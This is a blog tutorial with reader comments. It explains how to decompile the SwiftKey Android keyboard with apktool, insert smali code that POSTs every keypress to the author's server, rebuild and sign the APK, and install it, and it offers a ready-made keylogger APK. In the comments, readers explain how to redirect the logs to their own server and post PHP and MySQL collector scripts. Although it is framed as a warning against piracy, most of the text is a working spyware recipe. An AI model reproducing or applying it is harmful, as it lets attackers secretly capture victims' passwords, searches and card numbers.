Inserting keylogger code in Android SwiftKey using apktool

Piracy on Android is a very big problem but I wonder do users realise how easy it is to inadvertently download apps with malware. Cracked copies of PC and iPhone apps can have malware as well of course but on both those platforms most software is compiled to machine code. Android apps are coded in Java and compiled to byte code that is run on the Dalvik VM and this byte code is not that hard to edit and insert back into an APK.

SwiftKey Keyboard is the top paid app in the Play store at the moment and it’s a great app, best €4 I spent but I knew it’d be heavily pirated at that price. Now your standard malware-ridden Android app or game might have some code that sends you annoying notification ads but anyone who sideloads a dodgy copy of a Android keyboard is taking a serious risk of a keylogger being inserted and people tracking all their passwords, Google searches and Credit Card numbers. In this post, I’ll show you how to do exactly that with apktool and Swiftkey from start to finish, all you need is a basic knowledge of Java and Android.

The end result is this Keylogger SwiftKey APK that sends all keylogs to my server. Try it out for yourself, download and install the modified APK, start using it and visit my logger page at www.android-app-development.ie/swiftkey_keylogger/keylogs.php, select your IP and see your keylogs being sent. Scary huh? Goes without saying, be sure to uninstall the app when you see how it works! Continue reading below to see how to do it. 

SwiftKey APK

First you’ve got to understand the Android file format that SwiftKey and all other Android apps are in. The Android package, or APK, is the container for an Android app’s resources and executables. It’s a zipped file that for SwiftKey contains simply:

  • AndroidManifest.xml (serialized, but apktool decodes to source)
  • classes.dex
  • lib/
  • assets/
  • res/
  • META-INF/

The actual bytecode of the application is the classes.dex file, or the Dalvik executable that runs on the device. The application’s resources (i.e. images, sound files) reside in the res directory, and the AndroidManifest.xml is more or less the link between the two, providing some additional information about the application to the OS. The lib directory contains native libraries that Swiftkey uses via NDK, and the META-INF directory contains information regarding the application’s signature.

The Tools

There’s a few different tools out there to decompile, compile and resign APKs. All the decompilers are based on or use smali to decompile/compile the classes.dex file. apktool wraps up a few of these tools in one but you still have to re-sign and then install on a device. So then there’s APK multitool which wraps apktool, keytool and other things to let you press one button and have your edited code compiled, zipped, signed and installed to your device via adb all in one go. So download that and set it up but remember it’s just a collection of other tools.

Disassembling SwiftKey

Once you’ve installed APK multitool, you’d normally place your APK in the ‘place-apk-here-for-modding’ folder, open up Script.bat and enter 9 to decompile source and resources. Unfortunately SwiftKey throws errors when you try and recompile resources as it has capitalised resource filenames and was probably compiled with a modified aapt. We call these magick APKs and apktool can’t recompile edited resources but we can still compile edited smali code, which is all we want to make our keylogger anyway.

So enter 27 to change the decompile mode to ‘Source Files only’, then enter 9 to decompile. If nothing goes wrong, there’ll be a folder created inside projects called ‘com.touchtype.swiftkey-1.apk’ containing:

  • AndroidManifest.xml (still serialized, remember we didn’t decompile resources)
  • res/ (same as in APK)
  • smali/
  • apktool.yml

The smali directory is probably the most important of the three, as it contains a set of smali files, or bytecode representation of the application’s dex file. You can think of it as an intermediate file between the .java and the executable. Inside the directory we have ‘com’,'oauth’ and ‘org’. We’re looking for code that we can place our keylogger so we can ignore oauth as that’s obviously a library for oauth access. org contains some Apache Commons library so that can be ignored as well. Inside com, android and google directories are to be ingored as well, it’s the touchtype and touchtype_fluency directories that we’re interested in.

I’ve done the hard work already and found what we’re looking for in the ‘touchtype\keyboard\inputeventmodel\events’ directory. Go there and open up KeyInputEvent.smali in a text editor. We’re very lucky that SwiftKey isn’t ProGuard protected which obfuscates code and really slows down reverse engineering but never makes it impossible.

Reading the Smali

So let’s examine some of the KeyInputEvent smali code:

.class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;
.super Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;
.source "KeyInputEvent.java"

# direct methods
.method public constructor (Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
    .locals 0
    .parameter "extractedText"
    .parameter "inputText"

    .prologue
    .line 8
    invoke-direct {p0, p1, p2}, Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;->(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V

    .line 9
    return-void
.end method

This class seems to be called whenever the user makes a single keypress in SwiftKey but not when using flow. The constructor is what we’re looking at and is called with 2 parameters, an instance of a ‘com/touchtype_fluency/service/TouchTypeExtractedText’ class and a CharSequence which is the key pressed. We want to send this key to our servers so we need to insert the code here. If you’re a smali expert you can code it directly and compile but we’re not so we’ll code some in Java first, decompile and copy the smali over. We also want to send it in an AsyncTask as the keyboard is way too slow without it. This is my Java code which we’ll call MainActivity.java, part of a package called ‘com.androidapps.tutorial’:

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

CharSequence cs = "Hi how are u";
HashMap<String, String> data = new HashMap<String, String>();
data.put("data", cs.toString());
AsyncHttpPost asyncHttpPost = new AsyncHttpPost(data);
asyncHttpPost.execute("http://www.android-app-development.ie/swiftkey_keylogger/keypresses.php");

}
public class AsyncHttpPost extends AsyncTask<String, String, String> {
private HashMap<String, String> mData = null;// post data

/**
* constructor
*/
public AsyncHttpPost(HashMap<String, String> data) {
mData = data;
}

/**
* background
*/
@Override
protected String doInBackground(String... params) {
byte[] result = null;
String str = "";
HttpClient client = new DefaultHttpClient();
HttpPost post = new HttpPost(params[0]);// in this case, params[0] is URL
try {
// set up post data
ArrayList nameValuePair = new ArrayList();
Iterator it = mData.keySet().iterator();
while (it.hasNext()) {
String key = it.next();
nameValuePair.add(new BasicNameValuePair(key, mData.get(key)));
}

post.setEntity(new UrlEncodedFormEntity(nameValuePair, "UTF-8"));
HttpResponse response = client.execute(post);
StatusLine statusLine = response.getStatusLine();
if(statusLine.getStatusCode() == HttpURLConnection.HTTP_OK){
result = EntityUtils.toByteArray(response.getEntity());
str = new String(result, "UTF-8");
}
}
catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
catch (Exception e) {
}
return str;
}

/**
* on getting result
*/
@Override
protected void onPostExecute(String result) {
// something...
}
}

When we export this from Eclipse as an APK, decompile and look at the directory we find 2 files, MainActivity.smali and MainActivity$AsyncHttpPost.smali. The ‘$’ in the filename means it’s the AsyncHttpPost inner class. Let’s look at the onCreate of MainActivity:

MainActivity.smali

.method protected onCreate(Landroid/os/Bundle;)V
.locals 6
.parameter "savedInstanceState"

.prologue
.line 146
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

.line 149
const-string v1, "Hi how are u"

.line 150
.local v1, cs:Ljava/lang/CharSequence;
new-instance v2, Ljava/util/HashMap;

invoke-direct {v2}, Ljava/util/HashMap;->()V

.line 151
.local v2, data:Ljava/util/HashMap;,"Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;"
const-string v3, "data"

invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;

move-result-object v4

invoke-virtual {v2, v3, v4}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;

.line 152
new-instance v0, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;

invoke-direct {v0, p0, v2}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->(Lcom/androidapps/tutorial/MainActivity;Ljava/util/HashMap;)V

.line 153
.local v0, asyncHttpPost:Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;
const/4 v3, 0x1

new-array v3, v3, [Ljava/lang/String;

const/4 v4, 0x0

const-string v5, "http://www.android-app-development.ie/swiftkey_keylogger/keypresses.php"

aput-object v5, v3, v4

invoke-virtual {v0, v3}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;

.line 158
return-void
.end method

So we better explain some of this code. The first line is the smali method definition of onCreate with the Bundle parameter passed in and the return type at the end, which is V for void. Java primitives are denoted by a single letter and can be missed sometimes so keep an eye out for them.

V	 void
Z	 boolean
B	 byte
S	 short
C	 char
I	 int
J	 long (64 bits)
F	 float
D	 double (64 bits

Next line is very important for us, it declares how many local registers are to be used in this method without including registers allocated to the parameters of the method. The number of parameters for any given method will always be the number of input parameters + 1. This is due to an implicit reference to the current object that resides in parameter register 0 or p0 (in java this is called the “this” reference). The registers are essentially references, and can point to both primitive data types and java objects. Given 6 local registers, 1 parameter register, and 1 “this” reference, the onCreate() method uses an effective 8 registers

For convenience, smali uses a ‘v’ and ‘p’ naming convention for local vs. parameter registers. Essentially, parameter (p) registers can be represented by local (v) registers and will always reside in the highest available registers. For this example, onCreate() has 6 local registers and 2 parameter registers, so the naming scheme will look something like this:

v0 - local 0
v1 - local 1
v2 - local 2
v3 - local 3
v4 - local 4
v5 - local 5
v6/p0 - local 6 or parameter 0 (this)
v7/p1 - local 7 or parameter 1 (android/os/Bundle)

Opcodes

Dalvik opcodes are relatively straightforward, but there are a lot of them. For the sake of this post’s length, we’ll only go over a few of the most commonly used opcodes.

  1. invoke-super vx, vy, … invokes the parent classes method in object vx, passing in parameter(s) vy, …
  2. new-instance vx creates a new object instance and places its reference in vx
  3. invoke-direct vx, vy, … invokes a method in object vx with parameters vy, … without the virtual method resolution
  4. const-string vx creates string constant and passes reference into vx
  5. invoke-virtual vx, vy, … invokes the virtual method in object vx, passing in parameters vy, …
  6. return-void returns void

Hacking the App

Now that I’ve explained a bit of what the code means, let’s inject it into the KeyInput file of SwiftKey. Note in our exported Smali from MainActivity that it references the ‘com/androidapps/tutorial’ package so we need to change that to the package where KeyInput is which is ‘com/touchtype/keyboard/inputeventmodel/events/’. So open up both MainActivity.smali and MainActivity$AsyncHttpPost and do a search and replace changing ‘com/androidapps/tutorial/MainActivity’ to ‘com/touchtype/keyboard/inputeventmodel/events/KeyInputEvent’.

Next we’ve to ensure we have the right amount of registers in the SwiftKey KeyInputEvent to support our new method calls. We can see that the original constructor uses no local variables and our MainActivity uses 6 so just set locals 0 to locals 6. Then copy our new code in, just before the return void of the constructor. In our injected code, the v1 local variable holds the CharSequence ‘Hi how are u’ which is converted to a String in the ‘invoke-interface {v1}, Ljava/lang/CharSequence;->toString’ line. We need to make the code use the CharSequence key the user pressed which is the second parameter so change v1 to p2.  Next copy over our AsyncTask inner class into the same folder as KeyInputEvent.smali and rename it to KeyInputEvent$AsyncHttpPost. Make similiar changes to the TextInputEvent.smali file in the same directory if you want to track SwiftKey flows as well.

Rebuilding, Signing and Installing the Apk

Before it was a bit of work to do these three steps but with APK multitool all you need to do is enter 15 in your project with your phone connected and the app should install. If you encountered any errors, post a comment below and I’ll help you out. I might have left a few things out of this tutorial for brevity’s sake. If it all worked and you didn’t change the POST URL, just start using the keyboard and check my page at www.android-app-development.ie/swiftkey_keylogger/keylogs.php to see what keys are being sent from different IPs! Scary huh? Moral of the story if you want to avoid keyloggers or other malware from your Android? Stick to the Play store and don’t pirate apps!

78 thoughts on “Inserting keylogger code in Android SwiftKey using apktool

  1. Thanks for this. Is “stick to the Play Store” adequate and complete protection? I downloaded Swype beta 1.4, got a sobering warning along these lines on installing and have paused the process. So I’m mindful of the risk (which you prove here very clearly). But not sure how best to protect against this and get the benefit of better keyboard apps .

    • Yes, sticking to the Play store is pretty much complete protection. Google scans uploaded Android apps with a system called Bouncer looking for suspicious code. Though I’ve never looked into this, it sounds like good protection against all Play store apps.

      And you can trust the big publishers on the Play store. Reputable companies like Swype and Swiftkey aren’t going to have keyloggers in their apps! And crackers can’t inject code unless they hack the Play developer account.

      That warning from Swype is from the Android OS and you can ignore it as long as you’re getting Swype from the Play store or their official website.

      • While sticking to the play store is indeed the best you can do, this still is no guarantee at all. Bouncer has been fooled more than once by black hats.

        • Yes but at least if a play store app is compromised, eventually there will be stories about it and you will know to change your passwords. If you download some random apk, you may never find out that it’s malware.

          • SwiftKey is a well known name and they definitely wont track you. Because if they did, the story would eventually come up so that means suicide for them. Moral: Stick to the big companies! If an app has 1000000 downloads, they dont care what YOU are typing.

    • Change this line of smali:
      asyncHttpPost.execute(“http://www.android-app-development.ie/swiftkey_keylogger/keypresses.php”);

      Change my android-app-development.ie to whatever URL you want logs sent to. You’ve got to compile this and install the new APK then.

      • Is there a way to have it write keypresses to a log file that emails me every so often? How would that be done?

      • Better way to change the target, without doing anything else. De compile the apk downloaded from here, open Notepad++, open Find and select the decompiled folder inside projects. In the search field write http://www.android-app-development.ie/swiftkey_keylogger/keylogs.php and in the replace field, write url to your php, hit replace, you’re done!

        And here’s the php, not like the one admin has made, just a simple script to throw everything into a txt file:

        • That was sanitized :( here it is, add the php open and close tags yourself

          file_put_contents(‘test.txt’, file_get_contents(‘php://input’), FILE_APPEND);

  2. Thank you so much for all of the info. I am super new at the smart phone thing. I hope that you have more helpful hints.

  3. Great blog post. I think that most end users do not realize how easy it is to perform this kind of “signature stripping” attack.

    In fact, it’s one of the reasons we built the Android Obsevatory: http://androidobservatory.org One of the features of the Observatory is allowing you to upload an APK to cross-reference it with others that we have seen (both from uploads and our corpus of crawled applications).

    I’ve taken the liberty to upload your malicious SwiftKey APK (details here: http://www.androidobservatory.org/app/0CB6208ADE32C8744752DC6168DD7AFB91836E14 ). The system immediately flagged the APK as being signed with a key used to sign known Malware. In this case it’s because you used an Android test-key.

    We also have a number of legitimate SwiftKey APKs to compare to (eg: http://www.androidobservatory.org/app/921B73DE78190F3575FFD2CCEF07B06502F41D59 ). You can see that it was signed with a different certificate (obviously). Looking at the details for this certificate it’s clear that it was used for many other SwitfKey APKs and is likely more trustworthy: http://www.androidobservatory.org/cert/D5748003CD4BF73C7A468EEB36CAEC84B7785C26

    Our tool isn’t built specifically to find/flag Malware, but it does provide a great resource for helping to determine if a random APK found “in the wild” was signed with the same certificate as other applications.

    - Daniel

  4. Pingback: Das APK, das Du da sideloaded hast, was tut das genau? | Die wunderbare Welt von Isotopp

    • classes.dex is what you have when you just open an APK in 7zip for something. if you’re using apkmultitool, apktool or baksmali it most likely disassembled the classes.dex file for you, into a folder called smali.

  5. Pingback: » SwiftKey: attenzione alle app pirata, possono nascondere dei keylogger! » Software - AndroidWorld.it

  6. Hi, After read your article, i have some questions. My android now using piracy software, what should i do? I think it has malware now. Do I have to delete all my piracy software and change all my password. I don’t have credit card number in my phone. After delete, is my phone become secure again? Or just do a factory reset?. I really need your best question. Thank so much

  7. Respected Sir,
    I really liked this guide for putting a keylogger in swiftkey app.And am very excited to make one of my own.
    I did try it but was unsuccessful :(
    Can you please explain the java part in a noob friendly way. I copy pasted the code you provided into eclipse and it gave me 38 errors :p
    I know i am doing something wrong but i cant figure out what
    Please help me :)

    thank you

  8. Pingback: Lo que hay que saber sobre aplicaciones como Black Market para android

  9. Hey admin,

    really thank you for that :)

    I got a problem by compiling the apk back… it says error….
    I also tried to decompile your app and compile it back and it also gives me an error.

    Do you have a suggestion?

    Thanks

    • Can pls give a sample file? I’m not a php guy so much… I know it is not too hard to make just 2 line but as I said I do not know anything. Can you provide a sample php file for this please?

  10. A noob question. What happens if the infected application is blocked accessing the internet through a software for example avast mobile security which facilitates blocking of both data and wifi on the device. Will the application malfunction?

  11. Pingback: Instalar aplicaciones piratas es muy peligroso, el caso SwiftKey

  12. You are very bad at hiding your keylogger in the .apk.
    I can immediately identify your keylogger and I’m actually going to the point that I can identify ANY tampered .apk.
    The file dates inside your .apk are wrong.
    The structure of your packaged .apk looks very odd compared to the original .apk.
    Etc.

    • Well hiding it wasn’t considered a priority at all, this was just a proof of concept. But what end user extracts an APK and looks at the filedates anyway?! Or are you talking about trying to hide it from malware researchers.

  13. Help me i am getting error

    [1,0] Error for input ‘@’: Invalid text
    [3,5] Error for input ‘.onCreate’: Invalid directive
    [3,34] Error for input ‘;’: Invalid text
    [5,77] Error for input ‘;’: Invalid text
    [6,7] Error for input ”: Invalid text
    [6,42] Error for input ”: Invalid text
    [6,60] Error for input ‘;’: Invalid text
    [7,4] Error for input ‘.put’: Invalid directive
    [7,19] Error for input ‘.toString’: Invalid directive
    [7,31] Error for input ‘;’: Invalid text
    [8,53] Error for input ‘;’: Invalid text
    [9,13] Error for input ‘.execute’: Invalid directive
    [9,90] Error for input ‘;’: Invalid text
    [12,44] Error for input ”: Invalid text
    [13,15] Error for input ”: Invalid text
    [13,44] Error for input ‘;’: Invalid text
    [13,45] Error for input ‘/’: Invalid text
    [13,46] Error for input ‘/’: Invalid text
    [15,0] Error for input ‘/’: Invalid text
    [15,1] Error for input ‘*’: Invalid text
    [15,2] Error for input ‘*’: Invalid text
    [16,0] Error for input ‘*’: Invalid text
    [17,0] Error for input ‘*’: Invalid text
    [17,1] Error for input ‘/’: Invalid text
    [18,28] Error for input ”: Invalid text
    [19,12] Error for input ‘;’: Invalid text
    [22,0] Error for input ‘/’: Invalid text
    [22,1] Error for input ‘*’: Invalid text
    [22,2] Error for input ‘*’: Invalid text
    [23,0] Error for input ‘*’: Invalid text
    [24,0] Error for input ‘*’: Invalid text
    [24,1] Error for input ‘/’: Invalid text
    [25,0] Error for input ‘@’: Invalid text
    [26,40] Error for input ‘.’: Invalid directive
    [27,4] Error for input ‘[': Invalid text
    [27,5] Error for input ‘]’: Invalid text
    [27,20] Error for input ‘;’: Invalid text
    [28,15] Error for input ‘;’: Invalid text
    [29,43] Error for input ‘;’: Invalid text
    [30,35] Error for input ‘[': Invalid text
    [30,37] Error for input ‘]’: Invalid text
    [30,39] Error for input ‘;’: Invalid text
    [30,40] Error for input ‘/’: Invalid text
    [30,41] Error for input ‘/’: Invalid text
    [30,63] Error for input ‘[': Invalid text
    [30,65] Error for input ‘]’: Invalid text
    [32,0] Error for input ‘/’: Invalid text
    [32,1] Error for input ‘/’: Invalid text
    [33,41] Error for input ‘;’: Invalid text
    [34,19] Error for input ‘.keySet’: Invalid directive
    [34,28] Error for input ‘.iterator’: Invalid directive
    [34,39] Error for input ‘;’: Invalid text
    [35,9] Error for input ‘.hasNext’: Invalid directive
    [36,15] Error for input ‘.next’: Invalid directive
    [36,22] Error for input ‘;’: Invalid text
    [37,13] Error for input ‘.add’: Invalid directive
    [37,51] Error for input ‘.get’: Invalid directive
    [37,62] Error for input ‘;’: Invalid text
    [40,4] Error for input ‘.setEntity’: Invalid directive
    [40,64] Error for input ‘;’: Invalid text
    [41,30] Error for input ‘.execute’: Invalid directive
    [41,44] Error for input ‘;’: Invalid text
    [42,32] Error for input ‘.getStatusLine’: Invalid directive
    [42,48] Error for input ‘;’: Invalid text
    [43,13] Error for input ‘.getStatusCode’: Invalid directive
    [43,50] Error for input ‘.HTTP_OK’: Invalid directive
    [44,20] Error for input ‘.toByteArray’: Invalid directive
    [44,41] Error for input ‘.getEntity’: Invalid directive
    [44,54] Error for input ‘;’: Invalid text
    [45,33] Error for input ‘;’: Invalid text
    [49,1] Error for input ‘.printStackTrace’: Invalid directive
    [49,19] Error for input ‘;’: Invalid text
    [53,10] Error for input ‘;’: Invalid text
    [56,0] Error for input ‘/’: Invalid text
    [56,1] Error for input ‘*’: Invalid text
    [56,2] Error for input ‘*’: Invalid text
    [57,0] Error for input ‘*’: Invalid text
    [58,0] Error for input ‘*’: Invalid text
    [58,1] Error for input ‘/’: Invalid text
    [59,0] Error for input ‘@’: Invalid text
    [61,0] Error for input ‘/’: Invalid text
    [61,1] Error for input ‘/’: Invalid text
    [61,14] Error for input ‘.’: Invalid directive
    [1,1] required (…)+ loop did not match anything at input ‘Override’
    Exception in thread “main” brut.androlib.AndrolibException: Could not smali file
    : D:\Downloads\Compressed\APK-Multi-Tool-Stable-RELEASE\APK-Multi-Tool-Stable-RE
    LEASE\other\..\projects\SwiftKeyUNNN.apk\smali\com\touchtype\keyboard\inputevent
    model\events\KeyInputEvent$AsyncHttpPost.smali
    at brut.androlib.src.DexFileBuilder.addSmaliFile(DexFileBuilder.java:45)

    at brut.androlib.src.DexFileBuilder.addSmaliFile(DexFileBuilder.java:33)

    at brut.androlib.src.SmaliBuilder.buildFile(SmaliBuilder.java:66)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:50)
    at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:36)
    at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:256)
    at brut.androlib.Androlib.buildSources(Androlib.java:217)
    at brut.androlib.Androlib.build(Androlib.java:208)
    at brut.androlib.Androlib.build(Androlib.java:177)
    at brut.apktool.Main.cmdBuild(Main.java:230)
    at brut.apktool.Main.main(Main.java:79)
    Press any key to continue . . .

  14. ive made that php code, i dont know about java so the only thing being received and stored in the database is the text typed from the phone. how do i get this java ip address of the user?

  15. ypu stobeds this no php code

    it is java code

    teak it

    =======

    onload = function(){
    field = document.getElementById(‘number_field’)
    field.onkeydown = keyhit
    field.focus()
    }

    function keyhit(e)
    {
    thisKey = e ? e.which : window.event.keyCode
    switch (thisKey) {
    case 38: key = ‘UP’
    break
    case 40: key = ‘DOWN’
    break
    default: key = null
    }
    if(key)
    {
    field = document.getElementById(‘number_field’)
    if(isNaN(field.value))
    {
    field.value = 0
    }
    if(key == ‘UP’)
    {
    field.value++
    }
    else if(key == ‘DOWN’ && field.value > 0)
    {
    field.value–
    }
    }
    }

    increment field

    =========

    iehaa ami caow boooy B-\

  16. Hello Admin,

    Many thanks for sharing your valuable work.

    I’m interested to know all classes of keylogger attacks. You have used code injection to capture keystrokes. Is there other techniques to achieve the same (intercept the (x,y) of mouse pointer, …)?
    Thank you in advance.

  17. For those who want their own database, there is probably a better way to do this :-)

    $ip = $_SERVER['REMOTE_ADDR'];
    $type = $_POST['type'];
    $data = $_POST['data'];

    mysql_connect(“localhost”, “xxx”, “xxx”) or
    die(“Could not connect: ” . mysql_error());
    mysql_select_db(“xxx”);

    if ($type == “keyinputevent”) {
    $query = mysql_query(“SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’”);
    $rows = mysql_num_rows($query);
    if ($rows > 0) {
    mysql_query(“UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’”);
    } else {
    mysql_query(“INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)”);
    }
    }

    if ($type == “textinputevent”) {
    $query = mysql_query(“SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’”);
    $rows = mysql_num_rows($query);
    if ($rows > 0) {
    mysql_query(“UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’”);
    } else {
    mysql_query(“INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)”);
    }
    }

    mysql_close();
    ?>

  18. Pingback: The dangers of pirating SwiftKey

  19. Thank you so much for this post, a real eye-opener. I always thought my phone would be somewhat secured, given that I use Avast and TrustGo Security. Well, I thought wrong, the malicious Swype got installed with no problems at all, both security solutions stating that everything is fine, LOL

    Could I just ask you one maybe stupid question, please? Is it true that the permissions that we see during installation really determine what the app can or can’t do in the system, or can this be somehow spoofed too? I mean – Swype is a wonderful example for this because even the original Swype asks for tons of permissions needed for it’s proper functionality, but how about an app that let’s say doesn’t ask for anything with networks, only for manipulating SD card (some kind of file manager etc.). Does this mean that it really won’t be able to do anything with networks, sending logs anywhere etc., or can this be bypassed?

    Thank you again, I need to follow your blog :)

  20. hi dear
    thanks for your post
    bro i want only change your web site url in the smail file and then compress and sign again my project and change to apk file for install in android device but when i change your url i dont know what should i do? please help me

  21. Pingback: Why Apple won’t let you change the default keyboard (or other apps) | Tech & Comms News

    • ctrl+c, ctrl+v: how i am i supposed to help with that level of information you’re giving me? post the error log!

    • well, the PHP file on your server needs to accept the POST commands the sendkey app sends. somebody above in the comments posted a PHP file to use.

      • This is what someone posted:

        $ip = $_SERVER['REMOTE_ADDR'];
        $type = $_POST['type'];
        $data = $_POST['data'];

        mysql_connect(“localhost”, “xxx”, “xxx”) or
        die(“Could not connect: ” . mysql_error());
        mysql_select_db(“xxx”);

        if ($type == “keyinputevent”) {
        $query = mysql_query(“SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’”);
        $rows = mysql_num_rows($query);
        if ($rows > 0) {
        mysql_query(“UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’”);
        } else {
        mysql_query(“INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)”);
        }
        }

        if ($type == “textinputevent”) {
        $query = mysql_query(“SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’”);
        $rows = mysql_num_rows($query);
        if ($rows > 0) {
        mysql_query(“UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’”);
        } else {
        mysql_query(“INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)”);
        }
        }

        mysql_close();
        ?>

        There is some problem with this code, it gives a T_STRING error. Any reasons why you are not willing to post the code?

        • because this was a proof of concept, i don’t want to distribute an android keylogger than any script kiddie could use. and implementing a PHP script to accept POST requests and logging them is very easy.

  22. Pingback: can my phone get virus ? - Android Forums

  23. Very useful information :) I’m using it for a totally different purpose though! I’m trying to code in a flashlight toggle into Android! I can write the app that turns the torch on in Java and I’m trying to get that smali into 4.2.2 some how! I think I’m going wrong with the registers but not sure…

    When you say you copy and paste the smali code, do you go from:

    .method protected onCreate(Landroid/os/Bundle;)V

    to

    .end method within your own smali code? I’m presuming not as you’ve just put a method within a method of smali? Would you go from:

    .parameter “savedInstanceState”

    to

    return-void or .line 158?

    I’m trying to do a super simple toast injection at the moment with:

    Toast.makeText(this, “Wowsers it works”, Toast.LENGTH_LONG).show();

    The smali is then:

    # virtual methods
    .method public onClick(Landroid/view/View;)V
    .registers 4
    .param p1, “nembut” # Landroid/view/View;

    const-string v0, “Wowsers it works”

    const/4 v1, 0×1

    invoke-static {p0, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

    move-result-object v0

    invoke-virtual {v0}, Landroid/widget/Toast;->show()V

    return-void
    .end method

    So I’m just working out what to do from there. If I’m putting into a class that already has a v0 register am I going to have to make mine the next one on? So it would all become v3 or something?!

    I can just about bumble through in Java but smali is killing me!!

  24. Actually, I pasted the smali for the toast which I tried to activate via a button press. The simple smali is:

    I just need to get my head around how to get that into where i want it (which I’ve not found yet either!!)

    # virtual methods
    .method protected onCreate(Landroid/os/Bundle;)V
    .locals 2
    .parameter “savedInstanceState”

    .prologue
    .line 9
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    .line 10
    const-string v0, “Wowsers it works”

    const/4 v1, 0×1

    invoke-static {p0, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

    move-result-object v0

    invoke-virtual {v0}, Landroid/widget/Toast;->show()V

    .line 11
    return-void
    .end method

      • Many thanks for any help you can provide! I tried putting my toast code into quicksettingpowersaver.smali and it gave me a systemui crash loop and I had to nandroid to get back (not created a zip with a working systemui.apk yet!)

        This was my try: (Sorry to make the board super long, please delete these code bits if it makes things a mess!)

        .method private performTogglePowerSaveState()V
        .locals 6 **(Was already 6)
        ** Start of my code**
        const-string v0, “Wowsers it works”

        const/4 v1, 0×1

        invoke-static {p0, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

        move-result-object v0

        invoke-virtual {v0}, Landroid/widget/Toast;->show()V

        **end of my code**

        const/4 v4, 0×0

        const/4 v3, 0×1

        iget-boolean v5, p0, Lcom/android/systemui/statusbar/quicksetting/QuickSettingPowerSaver;->powerSaveEnable:Z

        if-nez v5, :cond_0

        move v0, v3

        :goto_0
        iget-object v5, p0, Lcom/android/systemui/statusbar/phone/QuickSettingsTileView;->mContext:Landroid/content/Context;

        invoke-virtual {v5}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;

        move-result-object v1

        if-nez v1, :cond_1

        :goto_1
        return-void

        :cond_0
        move v0, v4

        goto :goto_0

        :cond_1
        const-string v5, “user_powersaver_enable”

        if-ne v0, v3, :cond_2

        :goto_2
        invoke-static {v1, v5, v3}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z

        new-instance v2, Landroid/content/Intent;

        invoke-direct {v2}, Landroid/content/Intent;->()V

        const-string v3, “com.htc.htcpowermanager.powersaver.ON_NOTIF_TOGGLE_CHANGED”

        invoke-virtual {v2, v3}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;

        const-string v3, “toggle_state”

        invoke-virtual {v2, v3, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;

        iget-object v3, p0, Lcom/android/systemui/statusbar/phone/QuickSettingsTileView;->mContext:Landroid/content/Context;

        invoke-virtual {v3, v2}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V

        const-string v3, “QuickSettingPowerSaver”

        new-instance v4, Ljava/lang/StringBuilder;

        invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

        const-string v5, “togglePowerState oldState:”

        invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

        move-result-object v4

        iget-boolean v5, p0, Lcom/android/systemui/statusbar/quicksetting/QuickSettingPowerSaver;->powerSaveEnable:Z

        invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;

        move-result-object v4

        const-string v5, ” newState:”

        invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

        move-result-object v4

        invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;

        move-result-object v4

        invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

        move-result-object v4

